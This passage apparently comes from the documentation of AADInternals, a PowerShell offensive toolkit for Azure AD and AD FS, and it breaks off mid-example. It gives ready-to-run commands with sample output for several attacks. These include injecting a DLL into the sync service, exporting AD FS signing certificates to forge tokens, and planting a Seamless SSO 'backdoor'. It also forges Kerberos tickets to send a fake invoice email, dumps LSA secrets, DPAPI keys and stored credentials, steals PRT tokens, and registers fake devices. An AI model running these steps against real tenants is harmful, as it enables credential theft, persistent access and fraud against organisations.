Injecting C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\ForceNTHash.dll to process 9760
Trying to find Patch from C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\ForceNTHash.dll
Function Patch executed successfully
DLL injected successfully
Installation successfully completed!
Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate.
Remove-AADIntForceNTHash
Since version 0.9.3
Removes ForceNTHash from the current computer
Example:
# Remove ForceNTHash
Remove-AADIntForceNTHashOutput:
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
Service restarted and ForceNTHash removed.
Initialize-AADIntFullPasswordSync
Since version 0.9.3
Enforces password hash sync of all users.
Example:
# Enforce password hash sync
Initialize-AADIntFullPasswordSyncOutput:
Full password sync enforced
Hack functions: ADFS
New-AADIntADFSSelfSignedCertificates (*) 😈
Since version 0.2.3
Disables certificate auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService.
The created certificates are copies of existing certificates, except that they are valid for 10 years.
Certificates are added to ADFS and the service is restarted. Certificates are also exported to the current directory.
Default password for exported .pfx files is “AADInternals”
Note! If there are multiple ADFS servers, certificates MUST be imported to each server’s Local Machine Personal store and read access to private keys for the ADFS service accounts must be assigned. Also, the ADFS service needs to be restarted.
Don’t forget to update certificate information to Azure AD using Update-AADIntADFSFederationSettings
Example:
# Create new certificates
New-AADIntADFSSelfSignedCertificatesRestore-AADIntADFSAutoRollover (*) 😈
Since version 0.2.3
Restores ADFS to “normal” mode: Token Signing and Token Decryption certificates are automatically rolled over once a year.
Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates.
Note! If there are multiple ADFS servers the ADFS service needs to be restarted on each server.
Don’t forget to update certificate information to Azure AD using Update-AADIntADFSFederationSettings
Example:
# Restore the auto rollover mode
Restore-AADIntADFSAutoRolloverUpdate-AADIntADFSFederationSettings (A) 😈
Since version 0.2.3
Updates federation information of the given domain to match the local ADFS server information.
Example:
# Update federation setting for domain company.com
Update-AADIntADFSFederationSettings -Domain company.comExport-AADIntADFSCertificates (*) 😈
Since version 0.4.7
Exports current and additional (next) AD FS token signing and encryption certificates to local directory. The exported certificates do not have passwords.
Example 1:
# Export ADFS certificates from the local AD FS server
Export-AADIntADFSCertificatesExample 2:
# Export configuration remotely and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Hash "6e36047d34057fbb8a4e0ce8933c73cf" -SID "S-1-5-21-1332519571-494820645-211741994-8710" -Server sts.company.com
# Export encryption key remotely and store to variable
$ADFSKey = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $cred -ObjectGuid "930e004a-4486-4f58-aead-268e41c0531e"
# Export ADFS certificates
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKeyExport-AADIntADFSConfiguration (*) 😈
Since version 0.4.7
Exports AD FS configuration from the local AD FS server (local database) or from remote server (ADFS sync).
Example 1:
# Export the configuration from the local database
$config = Export-AADIntADFSConfiguration -LocalExample 2:
# Get the AD FS service account guid and sid
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSidName : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid : S-1-5-21-2918793985-2280761178-2512057791-1134
# Save the credentials with directory replication rights
$creds = Get-Credential
# Get the NTHash of the ADFS service user
$hash = Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
# Get the configuration remotely
$configuration = Export-ADFSConfiguration -Hash $hash -SID S-1-5-21-2918793985-2280761178-2512057791-1134 -Server sts.company.comExample 3:
# Export configuration remotely as a logged in user and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Server sts.company.com -AsLoggedInUserExport-AADIntADFSEncryptionKey (*) 😈
Since version 0.4.7
Exports ADFS configuration encryption Key from the local ADFS server either as a logged-in user or ADFS service account, or remotely using DSR.
Example 1:
# Export the encryption key locally
$key = Export-AADIntADFSEncryptionKey -Local -Configuration $configurationExample 2:
# Save the credentials with directory replication rights
$creds = Get-Credential
# Export the encryption key remotely
$key = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $creds -ObjectGuid 91491383-d748-4163-9e50-9c3c86ad1fbdSet-AADIntADFSConfiguration (*) 😈
Since version 0.4.8
Sets configuration of the local AD FS server.
Example:
# Get Policy Store Authorisation Policy rules from the local AD FS
$authPolicy = Get-AADIntADFSPolicyStoreRules
# Get the configuration from the local AD FS server and set read-only policy to allow all to read
$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
# Set the configuration to the local AD FS database
Set-AADIntADFSConfiguration -Configuration $configGet-AADIntADFSPolicyStoreRules (*) 😈
Since version 0.4.8
Gets AD FS PolicyStore Authorisation Policy rules from the given configuration or from local AD FS server.
Example:
# Get Policy Store Authorisation Policy rules from the local AD FS
Get-AADIntADFSPolicyStoreRules | Format-ListOutput:
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
Set-AADIntADFSPolicyStoreRules (*) 😈
Since version 0.4.8
Sets AD FS PolicyStore Authorisation Policy rules and returns the modified configuration (xml document).
The initial configuration can be provided with -Configuration parameter. If not provided, it will be
fetched from the local AD FS server.
Example:
# Get Policy Store Authorisation Policy rules from the local AD FS
$authPolicy = Get-AADIntADFSPolicyStoreRules
# Get the configuration from the local AD FS server and set read-only policy to allow all to read
$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
# Set the configuration to the local AD FS database
Set-AADIntADFSConfiguration -Configuration $configNew-AADIntADFSRefreshToken (*)
Since version 0.6.5
Creates a new AD FS Refresh Token with the given certificate.
Example:
# Create a new refresh token
$refresh_token = New-AADIntADFSRefreshToken -UserPrincipalName "user@company.com" -Resource "urn:microsoft:userinfo" -Issuer "http://sts.company.com/adfs/services/trust" -PfxFileName_encryption .\ADFS_encryption.pfx -PfxFileName_signing .\ADFS_signing.pfx -ClientID "5846ec9c-1cd7-4040-8630-6ae82d6cdfd3"
# Create a request body
$body=@{
"client_id" = "5846ec9c-1cd7-4040-8630-6ae82d6cdfd3"
"refresh_token" = $refresh_token
"grant_type" = "refresh_token"
}
# Make a http request to AD FS server to fetch the token
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://sts.company.com/adfs/services/trust/adfs/oauth2/token" -Method Post -Body $body
$access_token = $response.access_tokenUnprotect-AADIntADFSRefreshToken (*)
Since version 0.6.5
Decrypts and verifies the given AD FS generated Refresh Token with the given certificates.
The SingleSignOnToken is a deflated binary xml, which is decoded in SSOToken attribute.
Example:
# Decrypt the refresh token
Unprotect-ADFSRefreshToken -RefreshToken $refresh_token -PfxFileName_encryption .\ADFS_encryption.pfx -PfxFileName_signing .\ADFS_signing.pfxClientID : 5846ec9c-1cd7-4040-8630-6ae82d6cdfd3
RedirectUri :
Resource : urn:microsoft:userinfo
Issuer : http://sts.company.com/adfs/services/trust
NotBefore : 1635414030
ExpiresOn : 1635442830
SingleSignOnToken : {"TokenType":0,"StringToken":"vVV[redacted]W/gE=","Version":1}
DeviceFlowDeviceId :
IsDeviceFlow : False
SessionKeyString :
SSOToken : <SessionToken>[redacted]</SessionToken>
Decoded SingleSignOnToken (SSOToken):
<SessionToken>
<Version>1</Version>
<SecureConversationVersion>http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512</SecureConversationVersion>
<Id>_7f964293-a538-4d21-9f7f-ff145282b6cb-D8AA6F46060589889967919067D5D6C5</Id>
<ContextId>urn:uuid:93dfe940-6b96-4ed3-87d0-e34c1fb64782</ContextId>
<Key>7NBs5rV5S0nDLF04psPMqg==</Key>
<KeyGeneration>urn:uuid:bb1a61ac-9527-4cd6-9a6d-1a957063deb6</KeyGeneration>
<EffectiveTime>637710108306674318</EffectiveTime>
<ExpiryTime>637710396306674318</ExpiryTime>
<KeyEffectiveTime>637710108306674318</KeyEffectiveTime>
<KeyExpiryTime>637710396306674318</KeyExpiryTime>
<ClaimsPrincipal>
<Identities>
<Identity NameClaimType="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" RoleClaimType="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
<ClaimCollection>
<Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/implicitupn" Value="user@company.com" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.microsoft.com/claims/authnmethodsproviders" Value="FormsAuthentication" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/authenticationinstant" Value="2021-10-28T09:40:30.618Z" ValueType="http://www.w3.org/2001/XMLSchema#dateTime"/>
<Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/authenticationmethod" Value="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2014/01/identity/claims/anchorclaimtype" Value="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2014/01/identity/claims/accountstore" Value="AD AUTHORITY" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" Value="user@company.com" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/primarygroupsid" Value="S-1-5-21-2918793985-2280761178-2512057791-513" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid" Value="S-1-5-21-2918793985-2280761178-2512057791-1602" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Value="COMPANY\user" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname" Value="COMPANY\user" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
<Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.microsoft.com/claims/authnmethodsreferences" Value="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" ValueType="http://www.w3.org/2001/XMLSchema#string"/>
</ClaimCollection>
</Identity>
</Identities>
</ClaimsPrincipal>
<EndpointId/>
</SessionToken>Hack functions: Seamless Single-sign-on (DesktopSSO)
Get-AADIntDesktopSSO (P)
Since version 0.2.6
Shows the Desktop SSO (a.k.a. Seamless SSO) status of the tenant.
Example:
# Create an access token for PTA
$pt=Get-AADIntAccessTokenForPTA
# Show the DesktopSSO status
Get-AADIntDesktopSSO -AccessToken $ptOutput:
Domains :
Enabled : False
ErrorMessage :
Exists : True
IsSuccessful : True
Set-AADIntDesktopSSOEnabled (P)
Since version 0.2.6
Enables or disables DesktopSSO for the tenant.
Example:
# Create an access token for PTA
$pt=Get-AADIntAccessTokenForPTA
# Enable the DesktopSSO for the tenant
Set-AADIntDesktopSSOEnabled -AccessToken $pt -Enable $trueOutput:
Domains : company.com
Enabled : True
ErrorMessage :
Exists : True
IsSuccessful : True
Set-AADIntDesktopSSO (P)
Since version 0.2.6
Enables or disables DesktopSSO for the given domain. In other words, you can create a backdoor!
It can also be used to change the password of the existing DesktopSSO configuration to AzureAD and to reset the password of the computer account used for SSO (default is AZUREADSSOACC).
Example:
# Create an access token for PTA
$pt=Get-AADIntAccessTokenForPTA
# Enable the DesktopSSO for the given domain
Set-AADIntDesktopSSO -AccessToken $pt -DomainName company.com -Password "mypassword" -Enable $trueOutput:
IsSuccessful ErrorMessage
------------ ------------
True
# Show the DesktopSSO status
Get-AADIntDesktopSSO -AccessToken $ptDomains : company.com
Enabled : True
ErrorMessage :
Exists : True
IsSuccessful : True
New-AADIntKerberosTicket
Since version 0.2.6
This function creates a Kerberos ticket with given user details and server (usually AZUREADSSOACC) password. Uses only user’s SID and server password.
User SID can be given as a SID object, SID string, or UserPrincipalNane (UPN). If UPN is given, SID is searched from AD or AAD. For AD, the user running the command need to have read access to AD. For AAD, an access token for Azure AD Graph needs to be given.
Note! The Kerberos ticket is valid only for a couple of minutes!
Example:
# Create a Kerberos ticket
$kt=New-AADIntKerberosTicket -ADUserPrincipalName "user@company.com" -Password "mypassword"
# Get an access token for Exchange Online
$et=Get-AADIntAccessTokenForEXO -KerberosTicket $kt -Domain company.com
# Send an email using Outlook API
Send-AADIntOutlookMessage -AccessToken $et -Recipient "accounting@company.com" -Subject "Invoice" -Message "Pay the attached invoice <b>ASAP!</b>"Hack functions: Active Directory
Get-AADIntDPAPIKeys (*) 😈
Since version 0.3.0
Gets DPAPI system keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run on a domain controller as an administrator.
Example:
# Get DPAPI keys
Get-AADIntDPAPIKeysOutput:
UserKey UserKeyHex MachineKey MachineKeyHex
------- ---------- ---------- -------------
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
Get-AADIntLSASecrets (*) 😈
Since version 0.3.0
Gets computer’s Local Security Authority (LSA) secrets. MUST be run as an administrator.
Example 1:
# Get LSA secrets
Get-AADIntLSASecretsOutput:
Name : $MACHINE.ACC
Account :
Password : {131, 100, 104, 117...}
PasswordHex : 836468758afd792..
PasswordTxt : 撃畨ﶊ脅䰐血⺹颶姾..
Credentials :
MD4 : {219, 201, 145, 228...}
SHA1 : {216, 95, 90, 3...}
MD4Txt : dbc991e4e611cf4dbd0d853f54489caf
SHA1Txt : d85f5a030b06061329ba93ac7da2f446981a02b6
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
Name : NL$KM
Account :
Password : {209, 118, 66, 10...}
PasswordHex : d176420abde330d3e443212b...
PasswordTxt : 监ੂ팰䏤⬡ꎛ녀䚃劤⪠钤␎／뜕ະ...
Credentials :
MD4 : {157, 45, 19, 202...}
SHA1 : {197, 144, 115, 117...}
MD4Txt : 9d2d13cac899b491114129e5ebe00939
SHA1Txt : c590737514c8f22607fc79d771b61b1a1505c3ee
Name : _SC_AADConnectProvisioningAgent
Account : COMPANY\provAgentgMSA
Password : {176, 38, 6, 7...}
PasswordHex : b02606075f962ab4474bd570dc..
PasswordTxt : ⚰܆陟됪䭇...
Credentials : System.Management.Automation.PSCredential
MD4 : {123, 211, 194, 182...}
SHA1 : {193, 238, 187, 166...}
MD4Txt : 7bd3c2b62b66024e4e066a1f4902221e
SHA1Txt : c1eebba61a72d8a4e78b1cefd27c555b83a39cb4
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
Name : _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_15030c93b7affb1fe7dc418b9dab42addf5
74c56b3e7a83450fc4f3f8a382028
Account :
Password : {131, 250, 57, 146...}
PasswordHex : 83fa3992cd076f3476e8be7e04...
PasswordTxt : 廙鈹ߍ㑯纾�≦瀛･௰镭꾔浪�ꨲ컸Ｏ⩂�..
Credentials :
MD4 : {198, 74, 199, 231...}
SHA1 : {78, 213, 16, 126...}
MD4Txt : c64ac7e7d2defe99afdf0026b79bbab9
SHA1Txt : 4ed5107ee08123635f08390e106ed000f96273fd
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
Example 2:
# Get LSA secret for the given account
Get-AADIntLSASecrets -AccountName COMPANY\AAD_5baf82738e9cOutput:
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
Example 3:
# Get LSA secret for the given account
Get-AADIntLSASecrets -AccountName COMPANY\sv_ADFSOutput:
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
Get-AADIntLSABackupKeys (*) 😈
Since version 0.3.0
Gets Local Security Authority (LSA) backup keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run as an administrator.
Example:
# Get LSA backup keys
Get-AADIntLSABackupKeysOutput:
certificate Name Id Key
----------- ---- -- ---
{1, 2, 3, 4...} RSA e783c740-2284-4bd6-a121-7cc0d39a5077 {231, 131, 199, 64...}
Legacy ff127a05-51b1-4d45-8655-30c883631d90 {255, 18, 122, 5...}
Get-AADIntSystemMasterKeys (*) 😈
Since version 0.3.0
Gets local system master keys with the given system backup key (LSA backup key).
Example:
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get system master keys
Get-AADIntSystemMasterkeys -SystemKey $rsa_key.keyOutput:
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
Example:
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get user's master keys
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.keyOutput:
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b...
Get-AADIntUserMasterKeys (*)
Since version 0.3.0
Gets user’s master keys using the password or system backup key (LSA backup key).
Example:
# Get user's master keys with username and password
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -Password "password"Output:
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b... {166, 95, 5, 216...}
Example:
# Get user's master keys using LSA backup key
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get user's master keys
Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.keyOutput:
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
8a26d304-198c-4495-918f-77b...
Get-AADIntLocalUserCredentials (*) 😈
Since version 0.3.0
Gets user’s credentials from the local credential vault.
Note: Currently supports only SHA1 hashing and 3DES encryption algorithms, so probably fails for “normal” users.
Example:
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get user's master keys
$user_masterkeys=Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.key
# List user's credentials
Get-AADIntLocalUserCredentials -UserName "myuser" -MasterKeys $user_masterkeysOutput:
Target : LegacyGeneric:target=msTeams_autologon.microsoftazuread-sso.com:443/user@company.com
Persistance : local_machine
Edited : 26/03/2020 10.12.11
Alias :
Comment :
UserName :
Secret : {97, 115, 100, 102...}
SecretTxt : 獡晤晤
SecretTxtUtf8 : asdfdf
Attributes : {}
Hack functions: Azure AD join, MDM & PRT
Get-AADIntUserPRTToken (*) 😈
Since version 0.4.1
Gets user’s PRT token from the Azure AD joined or Hybrid joined computer. Uses BrowserCore.exe to get the PRT token.
Example:
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtTokenJoin-AADIntOnPremDeviceToAzureAD (A)
Since version 0.4.5
Emulates Azure AD Hybrid Join by adding a device to Azure AD via Synchronization API and generates a corresponding certificate (if not provided).
You may use any name, SID, device ID, or certificate you like.
The generated certificate can be used to complete the Hybrid Join using Join-AADIntDeviceToAzureAD. The certificate has no password.
After the synchronisation, the device appears as “Hybrid Azure AD joined” device which registration state is “Pending”. The subject of the certificate must be “CN=
Example:
# Get an access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Join the device to Azure AD
Join-AADIntOnPremDeviceToAzureAD -DeviceName "My computer"Device successfully created:
Device Name: "My computer"
Device ID: f24f116f-6e80-425d-8236-09803da7dfbe
Device SID: S-1-5-21-685966194-1071688910-211446493-3729
Cloud Anchor: Device_e049c29d-8c8f-4016-b959-98f3fccd668c
Source Anchor: bxFP8oBuXUKCNgmAPaffvg==
Cert thumbprint: C59B20BCDE103F8B7911592FD7A8DDDD22696CE0
Cert file name: "f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx"
Join-AADIntDeviceToAzureAD (J)
Since version 0.4.1
Emulates Azure AD Join by registering the given device to Azure AD and generates a corresponding certificate. Supports also Hybrid Join since version 0.4.5 and Register since 0.4.6.
You may use any name, type or OS version you like.
The generated certificate can be used to create a Primary Refresh Token and P2P certificates. The certificate has no password.
Example 1 - Register:
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Register the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My first computer" -DeviceType "Commodore" -OSVersion "Vic20" -JoinType RegisterDevice successfully registered to Azure AD:
DisplayName: "My first computer"
DeviceId: f6579fb2-8175-4508-95a7-ef11351983ee
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: A5B3A73FADF00D448025236BDFA389D8A5B3A73F
Cert file name : "f6579fb2-8175-4508-95a7-ef11351983ee.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
Example 2 - Join:
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
Example 3 - Hybrid Join:
# Get an access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Join the device to Azure AD
Join-AADIntOnPremDeviceToAzureAD -DeviceName "My computer"Device successfully created:
Device Name: "My computer"
Device ID: f24f116f-6e80-425d-8236-09803da7dfbe
Device SID: S-1-5-21-685966194-1071688910-211446493-3729
Cloud Anchor: Device_e049c29d-8c8f-4016-b959-98f3fccd668c
Source Anchor: bxFP8oBuXUKCNgmAPaffvg==
Cert thumbprint: C59B20BCDE103F8B7911592FD7A8DDDD22696CE0
Cert file name: "f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx"
# Hybrid Join the device to Azure AD
Join-AADIntDeviceToAzureAD -TenantId 4362599e-fd46-44a9-997d-53bc7a3b2947 -DeviceName "My computer" -SID "S-1-5-21-685966194-1071688910-211446493-3729" -PfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfxDevice successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: f24f116f-6e80-425d-8236-09803da7dfbe
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: A531B73CFBAB2BA26694BA2AD31113211CC2174A
Cert file name : "f24f116f-6e80-425d-8236-09803da7dfbe.pfx"
Example 4 - Hybrid Join by federation:
# Export AD FS token signing certificate
Export-AADIntADFSSigningCertificate
# Get AD FS issuer uri
$issuer = (Get-AdfsProperties).Identifier.OriginalString
# Create a new SAML token
$saml = New-AADIntSAMLToken -UserName "DESKTOP-9999" -DeviceGUID (New-Guid) -Issuer $issuer -PfxFileName .\ADFSSigningCertificate.pfx
# Get an access token for the device with the SAML token
Get-AADIntAccessTokenForAADJoin -SAMLToken $saml -Device -SaveToCache
# Hybrid join the device
Join-AADIntDeviceToAzureAD -DeviceName "DESKTOP-9999"Device successfully registered to Azure AD:
DisplayName: "DESKTOP-9999"
DeviceId: 0810056c-d2d5-4c1b-bc17-2f2fbedd6ca3
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: 3022FF7937C0766CE3DB0AD45C9413FB68A05EE3
Cert file name : "0810056c-d2d5-4c1b-bc17-2f2fbedd6ca3.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-3240472016-1160587922-3614255014-3410032901
S-1-12-1-2566832563-1141717763-392342924-578657198
Get-AADIntUserPRTKeys (*)
Since version 0.4.1
Creates a new set of Primary Refresh Token (PRT) keys for the user, including a session key and a refresh_token (PRT).
Keys are saved to a json file.
Example 1:
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
